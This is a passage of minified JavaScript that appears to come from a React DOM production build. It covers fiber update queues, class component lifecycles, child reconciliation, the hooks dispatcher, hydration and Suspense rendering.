t&&1073741823!==t||(To=e,t=1073741823),t={context:e,observedBits:t,next:null},null===So){if(null===xo)throw a(Error(308));So=t,xo.dependencies={expirationTime:0,firstContext:t,responders:null}}else So=So.next=t;return e._currentValue}var No=!1;function Ao(e){return{baseState:e,firstUpdate:null,lastUpdate:null,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function jo(e){return{baseState:e.baseState,firstUpdate:e.firstUpdate,lastUpdate:e.lastUpdate,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function Do(e,t){return{expirationTime:e,suspenseConfig:t,tag:0,payload:null,callback:null,next:null,nextEffect:null}}function Lo(e,t){null===e.lastUpdate?e.firstUpdate=e.lastUpdate=t:(e.lastUpdate.next=t,e.lastUpdate=t)}function Io(e,t){var n=e.alternate;if(null===n){var r=e.updateQueue,o=null;null===r&&(r=e.updateQueue=Ao(e.memoizedState))}else r=e.updateQueue,o=n.updateQueue,null===r?null===o?(r=e.updateQueue=Ao(e.memoizedState),o=n.updateQueue=Ao(n.memoizedState)):r=e.updateQueue=jo(o):null===o&&(o=n.updateQueue=jo(r));null===o||r===o?Lo(r,t):null===r.lastUpdate||null===o.lastUpdate?(Lo(r,t),Lo(o,t)):(Lo(r,t),o.lastUpdate=t)}function Mo(e,t){var n=e.updateQueue;null===(n=null===n?e.updateQueue=Ao(e.memoizedState):zo(e,n)).lastCapturedUpdate?n.firstCapturedUpdate=n.lastCapturedUpdate=t:(n.lastCapturedUpdate.next=t,n.lastCapturedUpdate=t)}function zo(e,t){var n=e.alternate;return null!==n&&t===n.updateQueue&&(t=e.updateQueue=jo(t)),t}function Fo(e,t,n,r,i,a){switch(n.tag){case 1:return"function"===typeof(e=n.payload)?e.call(a,r,i):e;case 3:e.effectTag=-2049&e.effectTag|64;case 0:if(null===(i="function"===typeof(e=n.payload)?e.call(a,r,i):e)||void 0===i)break;return o({},r,i);case 2:No=!0}return r}function Uo(e,t,n,r,o){No=!1;for(var i=(t=zo(e,t)).baseState,a=null,l=0,u=t.firstUpdate,s=i;null!==u;){var c=u.expirationTime;c<o?(null===a&&(a=u,i=s),l<c&&(l=c)):(El(c,u.suspenseConfig),s=Fo(e,0,u,s,n,r),null!==u.callback&&(e.effectTag|=32,u.nextEffect=null,null===t.lastEffect?t.firstEffect=t.lastEffect=u:(t.lastEffect.nextEffect=u,t.lastEffect=u))),u=u.next}for(c=null,u=t.firstCapturedUpdate;null!==u;){var f=u.expirationTime;f<o?(null===c&&(c=u,null===a&&(i=s)),l<f&&(l=f)):(s=Fo(e,0,u,s,n,r),null!==u.callback&&(e.effectTag|=32,u.nextEffect=null,null===t.lastCapturedEffect?t.firstCapturedEffect=t.lastCapturedEffect=u:(t.lastCapturedEffect.nextEffect=u,t.lastCapturedEffect=u))),u=u.next}null===a&&(t.lastUpdate=null),null===c?t.lastCapturedUpdate=null:e.effectTag|=32,null===a&&null===c&&(i=s),t.baseState=i,t.firstUpdate=a,t.firstCapturedUpdate=c,e.expirationTime=l,e.memoizedState=s}function Bo(e,t,n){null!==t.firstCapturedUpdate&&(null!==t.lastUpdate&&(t.lastUpdate.next=t.firstCapturedUpdate,t.lastUpdate=t.lastCapturedUpdate),t.firstCapturedUpdate=t.lastCapturedUpdate=null),Wo(t.firstEffect,n),t.firstEffect=t.lastEffect=null,Wo(t.firstCapturedEffect,n),t.firstCapturedEffect=t.lastCapturedEffect=null}function Wo(e,t){for(;null!==e;){var n=e.callback;if(null!==n){e.callback=null;var r=t;if("function"!==typeof n)throw a(Error(191),n);n.call(r)}e=e.nextEffect}}var Ho=Ge.ReactCurrentBatchConfig,Vo=(new r.Component).refs;function Yo(e,t,n,r){n=null===(n=n(r,t=e.memoizedState))||void 0===n?t:o({},t,n),e.memoizedState=n,null!==(r=e.updateQueue)&&0===e.expirationTime&&(r.baseState=n)}var Go={isMounted:function(e){return!!(e=e._reactInternalFiber)&&2===an(e)},enqueueSetState:function(e,t,n){e=e._reactInternalFiber;var r=ul(),o=Ho.suspense;(o=Do(r=sl(r,e,o),o)).payload=t,void 0!==n&&null!==n&&(o.callback=n),Io(e,o),fl(e,r)},enqueueReplaceState:function(e,t,n){e=e._reactInternalFiber;var r=ul(),o=Ho.suspense;(o=Do(r=sl(r,e,o),o)).tag=1,o.payload=t,void 0!==n&&null!==n&&(o.callback=n),Io(e,o),fl(e,r)},enqueueForceUpdate:function(e,t){e=e._reactInternalFiber;var n=ul(),r=Ho.suspense;(r=Do(n=sl(n,e,r),r)).tag=2,void 0!==t&&null!==t&&(r.callback=t),Io(e,r),fl(e,n)}};function $o(e,t,n,r,o,i,a){return"function"===typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,i,a):!t.prototype||!t.prototype.isPureReactComponent||(!rn(n,r)||!rn(o,i))}function Xo(e,t,n){var r=!1,o=Dr,i=t.contextType;return"object"===typeof i&&null!==i?i=Co(i):(o=Fr(t)?Mr:Lr.current,i=(r=null!==(r=t.contextTypes)&&void 0!==r)?zr(e,o):Dr),t=new t(n,i),e.memoizedState=null!==t.state&&void 0!==t.state?t.state:null,t.updater=Go,e.stateNode=t,t._reactInternalFiber=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=o,e.__reactInternalMemoizedMaskedChildContext=i),t}function Ko(e,t,n,r){e=t.state,"function"===typeof t.componentWillReceiveProps&&t.componentWillReceiveProps(n,r),"function"===typeof t.UNSAFE_componentWillReceiveProps&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&Go.enqueueReplaceState(t,t.state,null)}function qo(e,t,n,r){var o=e.stateNode;o.props=n,o.state=e.memoizedState,o.refs=Vo;var i=t.contextType;"object"===typeof i&&null!==i?o.context=Co(i):(i=Fr(t)?Mr:Lr.current,o.context=zr(e,i)),null!==(i=e.updateQueue)&&(Uo(e,i,n,o,r),o.state=e.memoizedState),"function"===typeof(i=t.getDerivedStateFromProps)&&(Yo(e,t,i,n),o.state=e.memoizedState),"function"===typeof t.getDerivedStateFromProps||"function"===typeof o.getSnapshotBeforeUpdate||"function"!==typeof o.UNSAFE_componentWillMount&&"function"!==typeof o.componentWillMount||(t=o.state,"function"===typeof o.componentWillMount&&o.componentWillMount(),"function"===typeof o.UNSAFE_componentWillMount&&o.UNSAFE_componentWillMount(),t!==o.state&&Go.enqueueReplaceState(o,o.state,null),null!==(i=e.updateQueue)&&(Uo(e,i,n,o,r),o.state=e.memoizedState)),"function"===typeof o.componentDidMount&&(e.effectTag|=4)}var Qo=Array.isArray;function Jo(e,t,n){if(null!==(e=n.ref)&&"function"!==typeof e&&"object"!==typeof e){if(n._owner){n=n._owner;var r=void 0;if(n){if(1!==n.tag)throw a(Error(309));r=n.stateNode}if(!r)throw a(Error(147),e);var o=""+e;return null!==t&&null!==t.ref&&"function"===typeof t.ref&&t.ref._stringRef===o?t.ref:((t=function(e){var t=r.refs;t===Vo&&(t=r.refs={}),null===e?delete t[o]:t[o]=e})._stringRef=o,t)}if("string"!==typeof e)throw a(Error(284));if(!n._owner)throw a(Error(290),e)}return e}function Zo(e,t){if("textarea"!==e.type)throw a(Error(31),"[object Object]"===Object.prototype.toString.call(t)?"object with keys {"+Object.keys(t).join(", ")+"}":t,"")}function ei(e){function t(t,n){if(e){var r=t.lastEffect;null!==r?(r.nextEffect=n,t.lastEffect=n):t.firstEffect=t.lastEffect=n,n.nextEffect=null,n.effectTag=8}}function n(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function r(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function o(e,t,n){return(e=zl(e,t)).index=0,e.sibling=null,e}function i(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.effectTag=2,n):r:(t.effectTag=2,n):n}function l(t){return e&&null===t.alternate&&(t.effectTag=2),t}function u(e,t,n,r){return null===t||6!==t.tag?((t=Bl(n,e.mode,r)).return=e,t):((t=o(t,n)).return=e,t)}function s(e,t,n,r){return null!==t&&t.elementType===n.type?((r=o(t,n.props)).ref=Jo(e,t,n),r.return=e,r):((r=Fl(n.type,n.key,n.props,null,e.mode,r)).ref=Jo(e,t,n),r.return=e,r)}function c(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Wl(n,e.mode,r)).return=e,t):((t=o(t,n.children||[])).return=e,t)}function f(e,t,n,r,i){return null===t||7!==t.tag?((t=Ul(n,e.mode,r,i)).return=e,t):((t=o(t,n)).return=e,t)}function d(e,t,n){if("string"===typeof t||"number"===typeof t)return(t=Bl(""+t,e.mode,n)).return=e,t;if("object"===typeof t&&null!==t){switch(t.$$typeof){case Ke:return(n=Fl(t.type,t.key,t.props,null,e.mode,n)).ref=Jo(e,null,t),n.return=e,n;case qe:return(t=Wl(t,e.mode,n)).return=e,t}if(Qo(t)||st(t))return(t=Ul(t,e.mode,n,null)).return=e,t;Zo(e,t)}return null}function p(e,t,n,r){var o=null!==t?t.key:null;if("string"===typeof n||"number"===typeof n)return null!==o?null:u(e,t,""+n,r);if("object"===typeof n&&null!==n){switch(n.$$typeof){case Ke:return n.key===o?n.type===Qe?f(e,t,n.props.children,r,o):s(e,t,n,r):null;case qe:return n.key===o?c(e,t,n,r):null}if(Qo(n)||st(n))return null!==o?null:f(e,t,n,r,null);Zo(e,n)}return null}function h(e,t,n,r,o){if("string"===typeof r||"number"===typeof r)return u(t,e=e.get(n)||null,""+r,o);if("object"===typeof r&&null!==r){switch(r.$$typeof){case Ke:return e=e.get(null===r.key?n:r.key)||null,r.type===Qe?f(t,e,r.props.children,o,r.key):s(t,e,r,o);case qe:return c(t,e=e.get(null===r.key?n:r.key)||null,r,o)}if(Qo(r)||st(r))return f(t,e=e.get(n)||null,r,o,null);Zo(t,r)}return null}function m(o,a,l,u){for(var s=null,c=null,f=a,m=a=0,g=null;null!==f&&m<l.length;m++){f.index>m?(g=f,f=null):g=f.sibling;var v=p(o,f,l[m],u);if(null===v){null===f&&(f=g);break}e&&f&&null===v.alternate&&t(o,f),a=i(v,a,m),null===c?s=v:c.sibling=v,c=v,f=g}if(m===l.length)return n(o,f),s;if(null===f){for(;m<l.length;m++)null!==(f=d(o,l[m],u))&&(a=i(f,a,m),null===c?s=f:c.sibling=f,c=f);return s}for(f=r(o,f);m<l.length;m++)null!==(g=h(f,o,m,l[m],u))&&(e&&null!==g.alternate&&f.delete(null===g.key?m:g.key),a=i(g,a,m),null===c?s=g:c.sibling=g,c=g);return e&&f.forEach((function(e){return t(o,e)})),s}function g(o,l,u,s){var c=st(u);if("function"!==typeof c)throw a(Error(150));if(null==(u=c.call(u)))throw a(Error(151));for(var f=c=null,m=l,g=l=0,v=null,y=u.next();null!==m&&!y.done;g++,y=u.next()){m.index>g?(v=m,m=null):v=m.sibling;var b=p(o,m,y.value,s);if(null===b){null===m&&(m=v);break}e&&m&&null===b.alternate&&t(o,m),l=i(b,l,g),null===f?c=b:f.sibling=b,f=b,m=v}if(y.done)return n(o,m),c;if(null===m){for(;!y.done;g++,y=u.next())null!==(y=d(o,y.value,s))&&(l=i(y,l,g),null===f?c=y:f.sibling=y,f=y);return c}for(m=r(o,m);!y.done;g++,y=u.next())null!==(y=h(m,o,g,y.value,s))&&(e&&null!==y.alternate&&m.delete(null===y.key?g:y.key),l=i(y,l,g),null===f?c=y:f.sibling=y,f=y);return e&&m.forEach((function(e){return t(o,e)})),c}return function(e,r,i,u){var s="object"===typeof i&&null!==i&&i.type===Qe&&null===i.key;s&&(i=i.props.children);var c="object"===typeof i&&null!==i;if(c)switch(i.$$typeof){case Ke:e:{for(c=i.key,s=r;null!==s;){if(s.key===c){if(7===s.tag?i.type===Qe:s.elementType===i.type){n(e,s.sibling),(r=o(s,i.type===Qe?i.props.children:i.props)).ref=Jo(e,s,i),r.return=e,e=r;break e}n(e,s);break}t(e,s),s=s.sibling}i.type===Qe?((r=Ul(i.props.children,e.mode,u,i.key)).return=e,e=r):((u=Fl(i.type,i.key,i.props,null,e.mode,u)).ref=Jo(e,r,i),u.return=e,e=u)}return l(e);case qe:e:{for(s=i.key;null!==r;){if(r.key===s){if(4===r.tag&&r.stateNode.containerInfo===i.containerInfo&&r.stateNode.implementation===i.implementation){n(e,r.sibling),(r=o(r,i.children||[])).return=e,e=r;break e}n(e,r);break}t(e,r),r=r.sibling}(r=Wl(i,e.mode,u)).return=e,e=r}return l(e)}if("string"===typeof i||"number"===typeof i)return i=""+i,null!==r&&6===r.tag?(n(e,r.sibling),(r=o(r,i)).return=e,e=r):(n(e,r),(r=Bl(i,e.mode,u)).return=e,e=r),l(e);if(Qo(i))return m(e,r,i,u);if(st(i))return g(e,r,i,u);if(c&&Zo(e,i),"undefined"===typeof i&&!s)switch(e.tag){case 1:case 0:throw e=e.type,a(Error(152),e.displayName||e.name||"Component")}return n(e,r)}}var ti=ei(!0),ni=ei(!1),ri={},oi={current:ri},ii={current:ri},ai={current:ri};function li(e){if(e===ri)throw a(Error(174));return e}function ui(e,t){jr(ai,t),jr(ii,e),jr(oi,ri);var n=t.nodeType;switch(n){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:cr(null,"");break;default:t=cr(t=(n=8===n?t.parentNode:t).namespaceURI||null,n=n.tagName)}Ar(oi),jr(oi,t)}function si(e){Ar(oi),Ar(ii),Ar(ai)}function ci(e){li(ai.current);var t=li(oi.current),n=cr(t,e.type);t!==n&&(jr(ii,e),jr(oi,n))}function fi(e){ii.current===e&&(Ar(oi),Ar(ii))}var di={current:0};function pi(e){for(var t=e;null!==t;){if(13===t.tag){if(null!==t.memoizedState)return t}else if(19===t.tag&&void 0!==t.memoizedProps.revealOrder){if(0!==(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var hi=Ge.ReactCurrentDispatcher,mi=0,gi=null,vi=null,yi=null,bi=null,wi=null,Ei=null,xi=0,Si=null,Ti=0,Oi=!1,ki=null,_i=0;function Pi(){throw a(Error(321))}function Ri(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!tn(e[n],t[n]))return!1;return!0}function Ci(e,t,n,r,o,i){if(mi=i,gi=t,yi=null!==e?e.memoizedState:null,hi.current=null===yi?Hi:Vi,t=n(r,o),Oi){do{Oi=!1,_i+=1,yi=null!==e?e.memoizedState:null,Ei=bi,Si=wi=vi=null,hi.current=Vi,t=n(r,o)}while(Oi);ki=null,_i=0}if(hi.current=Wi,(e=gi).memoizedState=bi,e.expirationTime=xi,e.updateQueue=Si,e.effectTag|=Ti,e=null!==vi&&null!==vi.next,mi=0,Ei=wi=bi=yi=vi=gi=null,xi=0,Si=null,Ti=0,e)throw a(Error(300));return t}function Ni(){hi.current=Wi,mi=0,Ei=wi=bi=yi=vi=gi=null,xi=0,Si=null,Ti=0,Oi=!1,ki=null,_i=0}function Ai(){var e={memoizedState:null,baseState:null,queue:null,baseUpdate:null,next:null};return null===wi?bi=wi=e:wi=wi.next=e,wi}function ji(){if(null!==Ei)Ei=(wi=Ei).next,yi=null!==(vi=yi)?vi.next:null;else{if(null===yi)throw a(Error(310));var e={memoizedState:(vi=yi).memoizedState,baseState:vi.baseState,queue:vi.queue,baseUpdate:vi.baseUpdate,next:null};wi=null===wi?bi=e:wi.next=e,yi=vi.next}return wi}function Di(e,t){return"function"===typeof t?t(e):t}function Li(e){var t=ji(),n=t.queue;if(null===n)throw a(Error(311));if(n.lastRenderedReducer=e,0<_i){var r=n.dispatch;if(null!==ki){var o=ki.get(n);if(void 0!==o){ki.delete(n);var i=t.memoizedState;do{i=e(i,o.action),o=o.next}while(null!==o);return tn(i,t.memoizedState)||(ta=!0),t.memoizedState=i,t.baseUpdate===n.last&&(t.baseState=i),n.lastRenderedState=i,[i,r]}}return[t.memoizedState,r]}r=n.last;var l=t.baseUpdate;if(i=t.baseState,null!==l?(null!==r&&(r.next=null),r=l.next):r=null!==r?r.next:null,null!==r){var u=o=null,s=r,c=!1;do{var f=s.expirationTime;f<mi?(c||(c=!0,u=l,o=i),f>xi&&(xi=f)):(El(f,s.suspenseConfig),i=s.eagerReducer===e?s.eagerState:e(i,s.action)),l=s,s=s.next}while(null!==s&&s!==r);c||(u=l,o=i),tn(i,t.memoizedState)||(ta=!0),t.memoizedState=i,t.baseUpdate=u,t.baseState=o,n.lastRenderedState=i}return[t.memoizedState,n.dispatch]}function Ii(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},null===Si?(Si={lastEffect:null}).lastEffect=e.next=e:null===(t=Si.lastEffect)?Si.lastEffect=e.next=e:(n=t.next,t.next=e,e.next=n,Si.lastEffect=e),e}function Mi(e,t,n,r){var o=Ai();Ti|=e,o.memoizedState=Ii(t,n,void 0,void 0===r?null:r)}function zi(e,t,n,r){var o=ji();r=void 0===r?null:r;var i=void 0;if(null!==vi){var a=vi.memoizedState;if(i=a.destroy,null!==r&&Ri(r,a.deps))return void Ii(0,n,i,r)}Ti|=e,o.memoizedState=Ii(t,n,i,r)}function Fi(e,t){return"function"===typeof t?(e=e(),t(e),function(){t(null)}):null!==t&&void 0!==t?(e=e(),t.current=e,function(){t.current=null}):void 0}function Ui(){}function Bi(e,t,n){if(!(25>_i))throw a(Error(301));var r=e.alternate;if(e===gi||null!==r&&r===gi)if(Oi=!0,e={expirationTime:mi,suspenseConfig:null,action:n,eagerReducer:null,eagerState:null,next:null},null===ki&&(ki=new Map),void 0===(n=ki.get(t)))ki.set(t,e);else{for(t=n;null!==t.next;)t=t.next;t.next=e}else{var o=ul(),i=Ho.suspense;i={expirationTime:o=sl(o,e,i),suspenseConfig:i,action:n,eagerReducer:null,eagerState:null,next:null};var l=t.last;if(null===l)i.next=i;else{var u=l.next;null!==u&&(i.next=u),l.next=i}if(t.last=i,0===e.expirationTime&&(null===r||0===r.expirationTime)&&null!==(r=t.lastRenderedReducer))try{var s=t.lastRenderedState,c=r(s,n);if(i.eagerReducer=r,i.eagerState=c,tn(c,s))return}catch(f){}fl(e,o)}}var Wi={readContext:Co,useCallback:Pi,useContext:Pi,useEffect:Pi,useImperativeHandle:Pi,useLayoutEffect:Pi,useMemo:Pi,useReducer:Pi,useRef:Pi,useState:Pi,useDebugValue:Pi,useResponder:Pi},Hi={readContext:Co,useCallback:function(e,t){return Ai().memoizedState=[e,void 0===t?null:t],e},useContext:Co,useEffect:function(e,t){return Mi(516,192,e,t)},useImperativeHandle:function(e,t,n){return n=null!==n&&void 0!==n?n.concat([e]):null,Mi(4,36,Fi.bind(null,t,e),n)},useLayoutEffect:function(e,t){return Mi(4,36,e,t)},useMemo:function(e,t){var n=Ai();return t=void 0===t?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Ai();return t=void 0!==n?n(t):t,r.memoizedState=r.baseState=t,e=(e=r.queue={last:null,dispatch:null,lastRenderedReducer:e,lastRenderedState:t}).dispatch=Bi.bind(null,gi,e),[r.memoizedState,e]},useRef:function(e){return e={current:e},Ai().memoizedState=e},useState:function(e){var t=Ai();return"function"===typeof e&&(e=e()),t.memoizedState=t.baseState=e,e=(e=t.queue={last:null,dispatch:null,lastRenderedReducer:Di,lastRenderedState:e}).dispatch=Bi.bind(null,gi,e),[t.memoizedState,e]},useDebugValue:Ui,useResponder:on},Vi={readContext:Co,useCallback:function(e,t){var n=ji();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Ri(t,r[1])?r[0]:(n.memoizedState=[e,t],e)},useContext:Co,useEffect:function(e,t){return zi(516,192,e,t)},useImperativeHandle:function(e,t,n){return n=null!==n&&void 0!==n?n.concat([e]):null,zi(4,36,Fi.bind(null,t,e),n)},useLayoutEffect:function(e,t){return zi(4,36,e,t)},useMemo:function(e,t){var n=ji();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&Ri(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)},useReducer:Li,useRef:function(){return ji().memoizedState},useState:function(e){return Li(Di)},useDebugValue:Ui,useResponder:on},Yi=null,Gi=null,$i=!1;function Xi(e,t){var n=Il(5,null,null,0);n.elementType="DELETED",n.type="DELETED",n.stateNode=t,n.return=e,n.effectTag=8,null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function Ki(e,t){switch(e.tag){case 5:var n=e.type;return null!==(t=1!==t.nodeType||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t)&&(e.stateNode=t,!0);case 6:return null!==(t=""===e.pendingProps||3!==t.nodeType?null:t)&&(e.stateNode=t,!0);case 13:default:return!1}}function qi(e){if($i){var t=Gi;if(t){var n=t;if(!Ki(e,t)){if(!(t=Rr(n.nextSibling))||!Ki(e,t))return e.effectTag|=2,$i=!1,void(Yi=e);Xi(Yi,n)}Yi=e,Gi=Rr(t.firstChild)}else e.effectTag|=2,$i=!1,Yi=e}}function Qi(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&18!==e.tag;)e=e.return;Yi=e}function Ji(e){if(e!==Yi)return!1;if(!$i)return Qi(e),$i=!0,!1;var t=e.type;if(5!==e.tag||"head"!==t&&"body"!==t&&!kr(t,e.memoizedProps))for(t=Gi;t;)Xi(e,t),t=Rr(t.nextSibling);return Qi(e),Gi=Yi?Rr(e.stateNode.nextSibling):null,!0}function Zi(){Gi=Yi=null,$i=!1}var ea=Ge.ReactCurrentOwner,ta=!1;function na(e,t,n,r){t.child=null===e?ni(t,null,n,r):ti(t,e.child,n,r)}function ra(e,t,n,r,o){n=n.render;var i=t.ref;return Ro(t,o),r=Ci(e,t,n,r,i,o),null===e||ta?(t.effectTag|=1,na(e,t,r,o),t.child):(t.updateQueue=e.updateQueue,t.effectTag&=-517,e.expirationTime<=o&&(e.expirationTime=0),ma(e,t,o))}function oa(e,t,n,r,o,i){if(null===e){var a=n.type;return"function"!==typeof a||Ml(a)||void 0!==a.defaultProps||null!==n.compare||void 0!==n.defaultProps?((e=Fl(n.type,null,r,null,t.mode,i)).ref=t.ref,e.return=t,t.child=e):(t.tag=15,t.type=a,ia(e,t,a,r,o,i))}return a=e.child,o<i&&(o=a.memoizedProps,(n=null!==(n=n.compare)?n:rn)(o,r)&&e.ref===t.ref)?ma(e,t,i):(t.effectTag|=1,(e=zl(a,r)).ref=t.ref,e.return=t,t.child=e)}function ia(e,t,n,r,o,i){return null!==e&&rn(e.memoizedProps,r)&&e.ref===t.ref&&(ta=!1,o<i)?ma(e,t,i):la(e,t,n,r,i)}function aa(e,t){var n=t.ref;(null===e&&null!==n||null!==e&&e.ref!==n)&&(t.effectTag|=128)}function la(e,t,n,r,o){var i=Fr(n)?Mr:Lr.current;return i=zr(t,i),Ro(t,o),n=Ci(e,t,n,r,i,o),null===e||ta?(t.effectTag|=1,na(e,t,n,o),t.child):(t.updateQueue=e.updateQueue,t.effectTag&=-517,e.expirationTime<=o&&(e.expirationTime=0),ma(e,t,o))}function ua(e,t,n,r,o){if(Fr(n)){var i=!0;Vr(t)}else i=!1;if(Ro(t,o),null===t.stateNode)null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),Xo(t,n,r),qo(t,n,r,o),r=!0;else if(null===e){var a=t.stateNode,l=t.memoizedProps;a.props=l;var u=a.context,s=n.contextType;"object"===typeof s&&null!==s?s=Co(s):s=zr(t,s=Fr(n)?Mr:Lr.current);var c=n.getDerivedStateFromProps,f="function"===typeof c||"function"===typeof a.getSnapshotBeforeUpdate;f||"function"!==typeof a.UNSAFE_componentWillReceiveProps&&"function"!==typeof a.componentWillReceiveProps||(l!==r||u!==s)&&Ko(t,a,r,s),No=!1;var d=t.memoizedState;u=a.state=d;var p=t.updateQueue;null!==p&&(Uo(t,p,r,a,o),u=t.memoizedState),l!==r||d!==u||Ir.current||No?("function"===typeof c&&(Yo(t,n,c,r),u=t.memoizedState),(l=No||$o(t,n,l,r,d,u,s))?(f||"function"!==typeof a.UNSAFE_componentWillMount&&"function"!==typeof a.componentWillMount||("function"===typeof a.componentWillMount&&a.componentWillMount(),"function"===typeof a.UNSAFE_componentWillMount&&a.UNSAFE_componentWillMount()),"function"===typeof a.componentDidMount&&(t.effectTag|=4)):("function"===typeof a.componentDidMount&&(t.effectTag|=4),t.memoizedProps=r,t.memoizedState=u),a.props=r,a.state=u,a.context=s,r=l):("function"===typeof a.componentDidMount&&(t.effectTag|=4),r=!1)}else a=t.stateNode,l=t.memoizedProps,a.props=t.type===t.elementType?l:wo(t.type,l),u=a.context,"object"===typeof(s=n.contextType)&&null!==s?s=Co(s):s=zr(t,s=Fr(n)?Mr:Lr.current),(f="function"===typeof(c=n.getDerivedStateFromProps)||"function"===typeof a.getSnapshotBeforeUpdate)||"function"!==typeof a.UNSAFE_componentWillReceiveProps&&"function"!==typeof a.componentWillReceiveProps||(l!==r||u!==s)&&Ko(t,a,r,s),No=!1,u=t.memoizedState,d=a.state=u,null!==(p=t.updateQueue)&&(Uo(t,p,r,a,o),d=t.memoizedState),l!==r||u!==d||Ir.current||No?("function"===typeof c&&(Yo(t,n,c,r),d=t.memoizedState),(c=No||$o(t,n,l,r,u,d,s))?(f||"function"!==typeof a.UNSAFE_componentWillUpdate&&"function"!==typeof a.componentWillUpdate||("function"===typeof a.componentWillUpdate&&a.componentWillUpdate(r,d,s),"function"===typeof a.UNSAFE_componentWillUpdate&&a.UNSAFE_componentWillUpdate(r,d,s)),"function"===typeof a.componentDidUpdate&&(t.effectTag|=4),"function"===typeof a.getSnapshotBeforeUpdate&&(t.effectTag|=256)):("function"!==typeof a.componentDidUpdate||l===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=4),"function"!==typeof a.getSnapshotBeforeUpdate||l===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=256),t.memoizedProps=r,t.memoizedState=d),a.props=r,a.state=d,a.context=s,r=c):("function"!==typeof a.componentDidUpdate||l===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=4),"function"!==typeof a.getSnapshotBeforeUpdate||l===e.memoizedProps&&u===e.memoizedState||(t.effectTag|=256),r=!1);return sa(e,t,n,r,i,o)}function sa(e,t,n,r,o,i){aa(e,t);var a=0!==(64&t.effectTag);if(!r&&!a)return o&&Yr(t,n,!1),ma(e,t,i);r=t.stateNode,ea.current=t;var l=a&&"function"!==typeof n.getDerivedStateFromError?null:r.render();return t.effectTag|=1,null!==e&&a?(t.child=ti(t,e.child,null,i),t.child=ti(t,null,l,i)):na(e,t,l,i),t.memoizedState=r.state,o&&Yr(t,n,!0),t.child}function ca(e){var t=e.stateNode;t.pendingContext?Wr(0,t.pendingContext,t.pendingContext!==t.context):t.context&&Wr(0,t.context,!1),ui(e,t.containerInfo)}var fa={};function da(e,t,n){var r,o=t.mode,i=t.pendingProps,a=di.current,l=null,u=!1;if((r=0!==(64&t.effectTag))||(r=0!==(2&a)&&(null===e||null!==e.memoizedState)),r?(l=fa,u=!0,t.effectTag&=-65):null!==e&&null===e.memoizedState||void 0===i.fallback||!0===i.unstable_avoidThisFallback||(a|=1),jr(di,a&=1),null===e)if(u){if(i=i.fallback,(e=Ul(null,o,0,null)).return=t,0===(2&t.mode))for(u=null!==t.memoizedState?t.child.child:t.child,e.child=u;null!==u;)u.return=e,u=u.sibling;(n=Ul(i,o,n,null)).return=t,e.sibling=n,o=e}else o=n=ni(t,null,i.children,n);else{if(null!==e.memoizedState)if(o=(a=e.child).sibling,u){if(i=i.fallback,(n=zl(a,a.pendingProps)).return=t,0===(2&t.mode)&&(u=null!==t.memoizedState?t.child.child:t.child)!==a.child)for(n.child=u;null!==u;)u.return=n,u=u.sibling;(i=zl(o,i,o.expirationTime)).return=t,n.sibling=i,o=n,n.childExpirationTime=0,n=i}else o=n=ti(t,a.child,i.children,n);else if(a=e.child,u){if(u=i.fallback,(i=Ul(null,o,0,null)).return=t,i.child=a,null!==a&&(a.return=i),0===(2&t.mode))for(a=null!==t.memoizedState?t.child.child:t.child,i.child=a;null!==a;)a.return=i,a=a.sibling;(n=Ul(u,o,n,null)).return=t,i.sibling=n,n.effectTag|=2,o=i,i.childExpirationTime=0}else n=o=ti(t,a,i.children,n);t.stateNode=e.stateNode}return t.memoizedState=l,t.child=o,n}function pa(e,t,n,r,o){var i=e.memoizedState;null===i?e.memoizedState={isBackwards:t,rendering:null,last:r,tail:n,tailExpiration:0,tailMode:o}:(i.isBackwards=t,i.rendering=null,i.last=r,i.tail=n,i.tailExpiration=0,i.tailMode=o)}function ha(e,t,n){var r=t.pendingProps,o=r.revealOrder,i=r.tail;if(na(e,t,r.children,n),0!==(2&(r=di.current)))r=1&r|2,t.effectTag|=64;else{if(null!==e&&0!==(64&e.effectTag))e:for(e=t.child;null!==e;){if(13===e.tag){if(null!==e.memoizedState){e.expirationTime<n&&(e.expirationTime=n);var a=e.alternate;null!==a&&a.expirationTime<n&&(a.expirationTime=n),Po(e.return,n)}}else if(null!==e.child){e.child.return=e,e=e.child;continue}if(e===t)break e;for(;null===e.sibling;){if(null===e.return||e.return===t)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(jr(di,r),0===(2&t.mode))t.memoizedState=null;else 